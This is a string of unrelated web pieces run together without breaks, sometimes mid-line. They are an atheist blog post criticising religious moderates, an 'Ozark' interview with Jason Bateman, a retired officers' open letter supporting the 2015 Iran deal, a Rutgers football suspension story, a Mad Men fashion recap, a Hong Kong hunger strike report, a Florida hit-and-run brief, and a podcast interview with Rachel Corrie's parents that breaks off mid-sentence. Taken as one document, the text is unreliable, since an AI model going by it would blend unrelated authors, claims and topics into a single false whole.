No, we shouldn’t. Not when the person is trying to whitewash the crimes of religion, and paper over the fact that religion itself has a problem. And the post he linked to is nothing but a compilation of old lines of apologetics. The author essentially is unhappy about Islam being judged by the actions of terrorists. Nowhere is there a mention of the fact that Islam has a problem, and is in need of reforms. After all, why reform something that is so perfect? (As it happens, Muslims who call for an Islamic reformation do exist, but we don’t call them moderates, we call them “Islamophobes”. That is because political correctness has gotten the better of us.)
But most puzzling of all, we learn this:
We know that religion is more and more something quite different from what it was in centuries (even decades) gone by. Yes, there are literalists out there, who insist on some reading of a religious text, and do harm to promote and defend that reading. But outside of certain (increasingly easy to identify) regions, for example Saudi Arabia, to say that both person X and person Y are Muslims, or Christians, is to say very little.
There is exactly zero evidence offered to back up this rather extraordinary claim. Extraordinary, in the sense that it reduces religions to merely a title, and nothing else. So we cannot make a conclusion with a high likelihood of accuracy about a persons beliefs, and their course of action under certain circumstances, based on the religion they identify with? I am sure there are plenty of Muslims and Christians who will be shocked to learn that.
But don’t take my word for it. Look at the polls. Overwhelming majorities of Muslims in nearly all Muslim-majority countries say that believing in God is necessary for morality; that drinking alcohol is immoral; that you should not fornicate before you get married; and don’t even mention those icky homosexuals. I simply couldn’t believe Jacques if I wanted to.
And then, this:
I’m of course aware of the arguments of Harris and others who speak of the moderates giving shelter, or credence, to the views of the extremists. Making a view “mainstream” does allow for a range of expressions of those views, and this mainstreaming is part of the motivation for a counter-movement like Blasphemy Day. But if the moderates speak out against the extremists – just like non-theists often do – Harris’s argument becomes more difficult to sustain.
With all do respect, this sounds like a straw man argument. That is not what Harris says-at all. I have written about views expressed by Harris (and others, including David Niose, and SIN co-founder John Loftus.) Here is what it boils down to:
You can’t play up the religious language, name the bible as the source of your morality, and expect to defeat the religious zealots that way. They will not only beat you handily in this game, but accuse you of hypocrisy on top of it.
The reason Harris, Loftus et al say that moderate religion is part of the problem is not the issues on which moderates and fundamentalists disagree-the reason is precisely what they agree on. By calling faith a virtue, playing up the religious language, and naming scripture as the source of morality, they give the extremists precisely the ammunition they need. And nothing in Jacques’ post undercuts this claim.
I can only speak for myself, but concerning Jacques’ question, for me, the “cost-benefit analysis” isn’t so hard. The cost is pissing off those don’t couldn’t care less when they piss us off. The benefit is keeping the values of Enlightenment alive. Don’t need to think too hard to resolve this dilemma.Jason Bateman discusses what drew him to the dark world of "Ozark," directing four episodes of the first season, and what happens next.
It’s easy to get lost when you’re surrounded by darkness, and “Ozark” is one of the darkest shows on TV. The story of a financial advisor who gets mixed up cleaning money for a Mexican cartel features many, many scenes where characters are forced into impossible choices.
And that’s why Jason Bateman wanted to make it.
“It’s either going to be something horrific or something wonderful,” Bateman said of the show’s many perilous decisions during a recent interview with IndieWire. “As a director, I’m really excited about the challenge to create the visual and musical elements leading up to and in those moments that make either scenario possible.”
Read More ‘Ozark’ Spoilers Review: Jason Bateman’s Netflix Drama is a Stunner From Start to Finish
What “Ozark” does well, especially in an era of needlessly dark dramas, is how it makes each bad situation, no matter how extreme, feel real. Early in the series, when Marty Byrde (Bateman) is held at gunpoint, it feels plausible that he might die. Even though he’s the show’s lead, all his friends and co-workers were just killed by a remorseless gunman intent on finishing Marty off, as well. Later, when his daughter is drowning in a lake, you don’t know if she’ll be able to get out. Finally, in the finale, a preacher — a preacher — appears to be killing a child.
Will he do it? Will he stop? Viewers don’t ask themselves these questions unless the show has earned both options. Because of how daring the series is from the start, “Ozark” creates an authenticity within each scene where the audience can believe the best or worst can happen, even in scenarios a traditional drama wouldn’t dare explore.
“There’s a certain number of things you’ve got to get right so that your odds are good that the audience will be unsure. It’s got to look a certain way and sound a certain way for about five or six minutes leading up to that [moment] so the audience is in the right space,” he said.
In front of the camera and behind it, Bateman directed four episodes of the first season while producing and starring in all 10. He wanted to work on every minute of “Ozark,” originally intending to direct all the episodes.
“It was something that was presented to me as an acting [opportunity],” Bateman said in a recent interview with IndieWire. “Saying yes to it would have prevented me from directing a film […] so I said to my agent, “Well, if they’re open to me executive producing the whole thing, which is basically the oversight position that a director has in film, and also directing all 10 episodes, then I’m in.”
From there, Media Rights Capital sold the series to Netflix. The pre-production schedule prohibited Bateman from directing every episode, but he remained invested because of the creative control provided in his executive producer role.
“Actors work about 15 minutes an hour, and the rest of the crew is working the other 45. What was exciting was that I would get to work all 60,” Bateman said. “I like watching daytime TV every once in a while, but it’s no fun when you’re sitting in your trailer, and you know everyone’s making the movie out there while you’re catching up on local news.”
Bateman was excited by the idea of shaping an audience’s interpretation of these tension-filled events. A number of times during the interview, he credited the work of his entire crew and how bringing together their amazing work was one of his job’s best perks.
“I’ve really enjoyed trying to learn as much about it as I can over all these years of sitting around on a set and watching everybody do these things,” he said. “It’s exciting to have the opportunity to see what it is I’ve soaked up and retained and kind of figure out what my style is with all that.”
Continue reading for Bateman’s thoughts on going too dark and what’s in store for Season 2.
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The Iran Deal Benefits U.S. National Security
An Open Letter from Retired Generals and Admirals
On July 14, 2015, after two years of intense international
negotiations, an agreement was announced by the United States,
the United Kingdom, France, Germany, China and Russia to contain
Iran’s nuclear program. We, the undersigned retired military
officers, support the agreement as the most effective means currently
available to prevent Iran from obtaining nuclear weapons.
The international deal blocks the potential pathways to a nuclear
bomb, provides for intrusive verification, and strengthens American
national security. America and our allies, in the Middle East and
around the world, will be safer when this agreement is fully
implemented. It is not based on trust; the deal requires verification
and tough sanctions for failure to comply.
There is no better option to prevent an Iranian nuclear weapon.
Military action would be less effective than the deal, assuming it is
fully implemented. If the Iranians cheat, our advanced technology,
intelligence and the inspections will reveal it, and U.S. military
options remain on the table. And if the deal is rejected by America,
the Iranians could have a nuclear weapon within a year. The choice is
that stark.
We agree with the Chairman of the Joint Chiefs of Staff, General
Martin Dempsey, who said on July 29, 2015, “[r]elieving the risk of a
nuclear conflict with Iran diplomatically is superior than trying to do
that militarily.”
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If at some point it becomes necessary to consider military action
against Iran, gathering sufficient international support for such an
effort would only be possible if we have first given the diplomatic
path a chance. We must exhaust diplomatic options before moving to
military ones.
For these reasons, for the security of our Nation, we call upon
Congress and the American people to support this agreement.
GEN James “Hoss” Cartwright, U.S. Marine Corps
MGEN William L. Nash, U.S. Army
GEN Joseph P. Hoar, U.S. Marine Corps
MGEN Tony Taguba, U.S. Army
GEN Merrill “Tony” McPeak, U.S. Air Force
RADM John Hutson, U.S. Navy
GEN Lloyd W. "Fig" Newton, U.S. Air Force
RADM Malcolm MacKinnon III, U.S. Navy
LGEN Robert G. Gard, Jr., U.S. Army
RADM Edward "Sonny" Masso, U.S. Navy
LGEN Arlen D. Jameson, U.S. Air Force
RADM Joseph Sestak, U.S. Navy
LGEN Frank Kearney, U.S. Army
RADM Garland “Gar” P. Wright, U.S. Navy
LGEN Claudia J. Kennedy, U.S. Army
BGEN John Adams, U.S. Air Force
LGEN Donald L. Kerrick, U.S. Army
BGEN Stephen A. Cheney, U.S. Marine Corps
LGEN Charles P. Otstott, U.S. Army
BGEN Patricia "Pat" Foote, U.S. Army
LGEN Norman R. Seip, U.S. Air Force
BGEN Lawrence E. Gillespie, U.S. Army
LGEN James M. Thompson, U.S. Army
BGEN John Johns, U.S. Army
VADM Kevin P. Green, U.S. Navy
BGEN David McGinnis, U.S. Army
VADM Lee F. Gunn, U.S. Navy
BGEN Stephen Xenakis, U.S. Army
MGEN George Buskirk, US Army
RDML James Arden "Jamie" Barnett, Jr., U.S. Navy
MGEN Paul D. Eaton, U.S. Army
RDML Jay A. DeLoach, U.S. Navy
MGEN Marcelite J. Harris, U.S. Air Force
RDML Harold L. Robinson, U.S. Navy
MGEN Frederick H. Lawson, U.S. Army
RDML Alan Steinman, U.S. Coast Guard
!
!UPDATE:
PISCATAWAY -- Rutgers coach Kyle Flood has suspended star wide receiver Leonte Carroo from his program indefinitely.
Flood, whose program has been hit with a rash of off-the-field incidents in recent weeks, not to mention a shocking loss to Washington State on Saturday, opened his Sunday media teleconference by announcing the suspension.
"Leonte Carroo has been suspended from our program as a result of an incident that happened last night outside our stadium that's currently under investigation,'' Flood said. "Until that investigation concludes, I'll have no further comment.''
Pressed for specifics, Flood said it's "currently under investigation and I won't have any comment until that concludes.''
Asked to comment on a report via social media by a reporter covering Washington State that mentioned several fights outside the Rutgers football headquarters, Flood said, "I don't know if I can answer that question. I think that would be a better question for the authorities.''
Flood said it's "an investigation that the program takes very seriously and when it concludes, I'll have further comment.''
Carroo, who presumably will miss this week's game at Penn State, had four receptions for 52 yards in Saturday's 37-34 loss to Washington State. He was made available to the media afterward and appeared calm during the approximately 10-minute interview session.
Asked when he became aware of what happened, Flood said, "I think the only comment that I would have is the incident happened outside the stadium [Saturday] night, so it would've been after the media availability.''
Carroo is the most accomplished Rutgers player, having broken the program's all-time receiving touchdowns record in the opener against Norfolk State. The senior from Edison opted to return for his senior season, opting against declaring early for the NFL Draft, but this summer was disciplined for another off-the-field incident.
On Aug. 25, Carroo and four other players were suspended for the first half of the season opener as a result of a curfew violation, according to Flood.
"I know I'm a guy that will put this past me and never make this mistake again,'' Carroo said after receiving his discipline. "From now on, I'll just have better decisions in my life and continue to do good and show my teammates and the university that I still do have those good traits and those good characteristics."
While his team stands 1-1 heading into Saturday's Big Ten opener at Penn State, Flood's program has been besieged by issues off the field, including a university-led investigation into a possible violation of impermissible contact stemming from an email Flood allegedly sent to a faculty member regarding the academic status of a player and the arrests of six players who have since been dismissed from the program over the last 10 days.
RELATED: Penn State looms as a must-win game for Kyle Flood and Rutgers | Politi
Flood said he will address his team in meetings Sunday and Monday and he "will certainly have a message for them.''
"At all times, every player in the program is going to be accountable for their actions,'' Flood said.
Asked whether he feels like things are getting out of control off the field, Flood said: "I do not.''
Keith Sargeant may be reached at ksargeant@njadvancemedia.com. Follow him on Twitter @KSargeantNJ. Find NJ.com Rutgers Football on Facebook.It was the best of times, it was the worst of times. Mostly the worst, at least for all of our struggling heroes on Mad Men. We love our trips down the rabbit hole into sunny California. These episodes always end up being bizarre excursions where we inevitably end up asking, “Is any of this actually happening?” We knew that we were going to have lots of fun treats when we saw that this was another episode directed by John Slattery (who we’ve been enjoying as a kooky anesthesiologist in the new season of Arrested Development), and we were not let down with features such as Don’s hashish nightmare, the return of Danny Siegel (with his hilariously simple-minded friend, Lotus), and this lovely lady:
Anya is even more sure that Megan is going to bite the bullet, but Paul remains unconvinced. Her ghostly hippie presence in Don’s trip/vision/near-death drowning experience does give viewers an interesting set of questions, and Megan’s usefulness as a character has been a frequent topic of discussion between us, since the only thing she really has inspired in Don this season is ambivalence. (You guys, she was pregnant in his vision! Are you shitting me that that wasn’t her miscarriage?! Talking about a second chance? And then that soldier showed up with one arm and literally said “I’m dead!” Come ON.)
The partners (sans Joan, thanks to scumbag Pete) deciding to settle on Sterling Cooper & Partners, or SC&P. They’re glad they don’t have to “buy a bigger door” with the easy replacement of the Draper Ds with ampersands, and we’re glad that we will (hopefully)never have to try to type out all the names of SCDPCGC again.
We are also fairly sure that we now safely have the answer to Ginsberg’s question to Bob Benson, “Tell me the truth, are you a homo?” After we realized that Joan was trying to go out on a date, everything kind of clicked into place, and we have a better-supported hypothesis for his actions at the whore house and lack of chemistry during his baby beach trip with sex-on-a-stick Joan. Bob Benson is as squirrelly and secretive as ever, so we’ll have to wait and see if anything ever actually comes of this.
Best Mad Men lines from last night’s episode:
ROGER: Our biggest challenge is to not get syphilis.
STAN: And this is my stop.
JOAN: I thought it was a date, but it turned out to be better!
(If only we could say this more often.)
STAN: I can’t watch this.
MEREDITH: Does this color look good on me?
PETE: I have to tell you that in your absence things have become quite dire.
Our favorite looks:
6. Harry’s Hollywood Schmooze Suit
God, Harry is such a boob. He at least usually gives us something to talk about with his clothes, which we usually ignore because of our mutual dislike for him. Alas, here Harry is, in his West Coast Hollywood element, and even we do not have the power to deny him his place on our list of noteworthy looks (after we reluctantly agreed that we needed more variety than that of our original triple dose of Joan). He was certainly bold, wearing mustard and then bright red blazers. His color fits in much better with the West Coast crowd, and we wouldn’t be shocked if he moved there. His refusal to ditch the convertible was just another way to set him apart from gray clad Don and Roger, the Manhattan Executives. The Libertarian turned to Anya and asked “Can I wear a scarf as a tie?” Her response? “If you’re going to buy a silk tie from the sixties it had better be a GIFT for ME.”
5. Peggy’s Fishy Behavior Office Wear
The day after the secret breakfast meeting with Avon, Peggy shows up wearing the exact same color scheme that Joan rocked the day before. The two tone blue silky fish scale pattern was lovely, and with yellow shoes? She still totally looks up to Joan, even while she comes to her rescue. We loved watching more of Peggy and Joan’s relationship unfold this episode. They’ve come a long way, and it’s nice to see that though they’ve had their fair share of tiffs, they both like and respect the other. In a workplace divided into powerful men and secretaries, Joan and Peggy are both outside the box, and it’s refreshing to see two strong, opinionated, and driven women united and backing each other up.
We loved Peggy’s move to eavesdrop on the conference room, and her decision to send a rather pathetic Meredith in to save Joan’s gorgeous ass. Joan was wearing a fantastic dress in this scene as well, rocking the navy blue dress with enormous green bow, but we had to cut something...and 50% Joan seemed a leeeetle over the top. We like that Peggy has been going sleeveless lately, and the mock turtlenecks are a nice way to keep it modest, her signature style. Again, nothing her mother would wear is always a good sign.
4. Joan’s Floral Flounce Dress
The longer we looked at this dress, the more we liked it. It’s very feminine, and a little unusual for Joan’s Office Wear. No brooch, less form fitting, a busy print, and not much structure. Sounds nothing like the Joan we know and love, with her perfectly tailored punch-you-in-the-
face-with-the-color dresses and suits. This dress is much softer, and the cute little one arm sleeve flounce really grew on us. Her hair was looking phenomenal in these scenes. The best part of this dress though, was the fact that Joan was wearing it on what she thought was a lunch date. Once she realizes that she’s landed a potential account, her next meeting outfit goes for the complete opposite feel. Don’t worry, we’ll get to that blue suit, but this is the opposite end of the spectrum for her and we relished seeing both.
3. Peggy in Plaid
Paul wasn’t nuts about this the way Anya was, being reminded of her earlier go-to office wear... until he saw the yellow in the plaid while screencapping and hopped on board. Anya thinks this outfit looks super modern and ahead of its time (having recently seen a very similar jacket on Heather Dubrow, her spirit animal/current Real Housewife of Orange County). Love the cut, the tiny hidden pop of color, the piping, the accessories! Love it all. Peggy’s mother wouldn’t be caught dead in it, and that’s basically our measuring stick for Peggy’s fashion progression.
2. Cindy’s Hollywood Hills Hostess Jumpsuit
Ah, Cindy the Hollywood hostess, purveyor of hallucination inducing hashish and harbringer of less than heavenly hydrous hazards. She sealed her much-coveted second spot on our weekly countdown with the ridiculously fabulous oversized pearl ring that she kept throwing around in all of her scenes. We enjoyed what we thought was a funky graphic print dress, and we went wild when we later realized it was a bell bottom jumpsuit. Cindy topped it off with huge yellow earrings and some fun Megan-esque hair. Cindy also provided us with the best evidence for the “none of this is real,” theory with her casual surrendering of Don to dream Megan.
1. Joan’s Blue Business Suit
Our top look this week was Joan in her Account Man suit. Despite the feminine touches of color, buttons, and broach, this is the most masculine look we’ve ever seen from Joan. Her wardrobe has changed over the years, with her higher salary and partner position, but this still seems like a dramatic step, especially since we saw her ten minutes ago meeting with the same man in a drastically different dress. Joan isn’t entirely comfortable in this role, which is made evident in the facial expression you see in our screenshot. (“Peggy?”) She has a history of dressing the part to make her feel more like she belongs somewhere (Her housewifey phase with Greg characterized by aprons and dresses, and wearing the fur from Roger as she goes to get the Jaguar account), and this is no exception.
Although she says she has been doing accounts in one form or another since she began at SC&P, it’s worth noting that her latest was that unfortunate incident with Herb. She is bound and determined to keep this one professional and above board, except when it comes to office politicking of course. That’s why it was a little gut punching to hear Peggy say “I never slept with him!” when defending her rise into Don’s good graces. Once again, Joan carries the day (and TWO gorgeous white bags!). We liked that she kept her signature brooch and earrings, but opted for a collared jacket with fun and flowery buttons. And don’t get us started on the scarf! Also loved that she paired the whole look with yellow shoes...something Peggy did the very next day in her fish scale outfit. Aww, besties!The teenage protest leader who became a symbol of opposition to Beijing in Hong Kong has launched a hunger strike in a last-ditch bid to wrestle concessions over political reform from the former British colony's rulers.
"Our humble demand is to ask for dialogue," Joshua Wong, the 18-year-old leader of the Scholarism student group, was quoted as saying by the South China Morning Post newspaper.
Mr Wong, who has been camped out at the Admiralty protest site since the "Umbrella Movement" demonstrations began in late September, made the announcement that he and two colleagues would begin a hunger strike on Monday night.
Despite his youth, the bespectacled, iPhone-toting activist has become one of the protests' most prominent and influential leaders. His photograph was splashed onto the front of Time magazine in October alongside the headline: "The face of protest".
"If Hong Kong just relies on me the movement will fail," he told the magazine.
The Scholarism activists said they had decided to go on hunger strike after receiving the "cold shoulder and deaf ear" from authorities for more than 60 days. "We are the students shouting, hoarse and exhausted, in the face of the silent crowds," they wrote in an online post.
"Today we are willing to pay the price. We are willing to take responsibility," the trio of hunger strikers added.
Isabella Lo, Prince Wong and student leader Joshua Wong (right) speak to journalists following the announcement of their hunger strike. BOBBY YIP/REUTERS
The announcement of the hunger strike followed an outbreak of severe violence between police and protesters that began on Sunday night and dragged into Monday morning.
At least 58 people, including 11 police officers, were injured when protesters attempted to surround Hong Kong's government headquarters and were repelled by police with riot gear and batons. At least 40 people were arrested.
Protesters were bracing themselves for eviction on Tuesday after a Hong Kong court granted an injunction permitting police and bailiffs to clear several key roads around the Admiralty protest camp.
The camp, on the edge of the former colony's financial heart, is now the main focus of pro-democracy protests after another site in Mong Kok in late November.
The Global Times, a Beijing-run tabloid, blamed protesters for triggering the "abrupt spasm of violence" this week but cautioned against a major military intervention to drive them from the streets.
"The mainland shouldn't be tempted to quell the unrest with troops too easily," the newspaper argued.
Meanwhile several key members of the Occupy Central protest movement, which is made up of older activists including academics, lawyers and religious leaders, announced their surrender on Tuesday afternoon.
The three original founders of Hong Kong's pro-democracy Occupy movement tearfully announced they would "surrender" by turning themselves into police and urged protesters still on the streets to retreat.
"As we prepare to surrender, we three urge the students to retreat - to put down deep roots in the community and transform the movement," said Occupy Central leader Benny Tai.MELBOURNE, Fla. - Melbourne police arrested a woman who they say was driving under the influence when struck a pedestrian, then drove off over the weekend.
Shyla Rollins has been charged with driving under the influence, leaving the scene of a crash, reckless driving and resisting arrest in the Saturday incident.
[AUDIO: 911 call released ]
Police said Rollins struck someone on Wickham Road and drove off, refusing to stop for police until she got stuck in traffic.
Police released video and the 911 calls from a witness who followed Rollins and called 911.
"She's an older lady, it looks like she's swerving all over the road right now," the caller told dispatchers. "I mean I don't know if she threw this girl out, or if she hit her."
The victim suffered minor injuries.
Check back for more on this story.
Copyright 2015 by ClickOrlando.com. All rights reserved. This material may not be published, broadcast, rewritten or redistributed.Craig and Cindy Corrie are appealing an Israeli court’s August 2012 verdict in the wrongful death lawsuit regarding their daugher Rachel. Ashraf Amra APA images
This week on The Electronic Intifada podcast:
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Rachel Corrie verdict appeal
Nora Barrows-Friedman: Can you talk about this appeal, and what it focuses on specifically?
Cindy Corrie: That’s a very good question. It’s at the heart of what we’re doing. It really focuses on the findings, from our point of view, of what was problematic with the verdict which was issued in the case of August 2012 by the district court. And what I will say right up front is that these are legal arguments that are going to be discussed, and as in all the other procedures and things, Craig and I and our family have had to wait to actually read what’s been filed. There had been written statements filed by us, bringing the appeal, and then there has been a response by the state, and then we’ve been able to respond. Our attorney, Hussein Abu Hussein, has been able to respond back to what the state said.
And all of those, of course, were in Hebrew and needed to be translated for us. So I just want people to know that we have just actually today gotten the translations of all of those documents and are beginning to review them ourselves. So we’ll be looking at that material more closely.
Craig Corrie: Let me just say that the crux of what we’ve been arguing and our attorneys translated — he says that the appellants argue (the appellants, that’s us) — argue that the lower court erred in determining essential facts in identifying the role of the legal norm in its application of the facts in drawing the requisite legal conclusion. So basically we’re arguing that the lower court didn’t understand the facts, didn’t understand the law and didn’t apply the law to the facts, or the facts to the law in the proper way, which is pretty much about everything they’re supposed to do.
I think that’s — if the audience remembers back to 2012, the judge didn’t find anything right with … if our attorney and our witnesses and even the state’s witnesses had not been at that trial, they just really went with the opening statements of the state’s attorney in finding that court’s decision. So we’re arguing all of that.
Nora Barrows-Friedman: Cindy and Craig, I’m reading from your press release that the Rachel Corrie Foundation just put out: “Testimony also revealed serious flaws in the military’s investigation into Rachel’s killing. Investigators failed to question key military witnesses, including those recording communications; failed to secure the military video, allowing it to be taken for nearly a week by senior commanders with only segments submitted to court; failed to address conflicting testimony given by soldiers; and ignored damning statements in the military log confirming a ‘shoot to kill’ order and a command mentality to continue work in order to avoid setting a precedent with international activists.” All of these pretty clear and basic legal proceedings were ignored or completely mishandled — how will your appeal’s arguments proceed with these types of flaws that were brought up?
Cindy Corrie: The appeal, as I understand it, is very limited and in fact, in finding the written part of it, our attorney had to determine the number of pages or suggest the number of pages that he could submit. And I believe he had asked for 50 pages and was actually allowed to do 25. So obviously everything that came up in the course of all the testimony that we heard in the district court — there were 15 court sessions, there were 23 court witnesses, we have over 2,000 pages of translated testimony — every detail is not going to be argued in this appeal, so it will |
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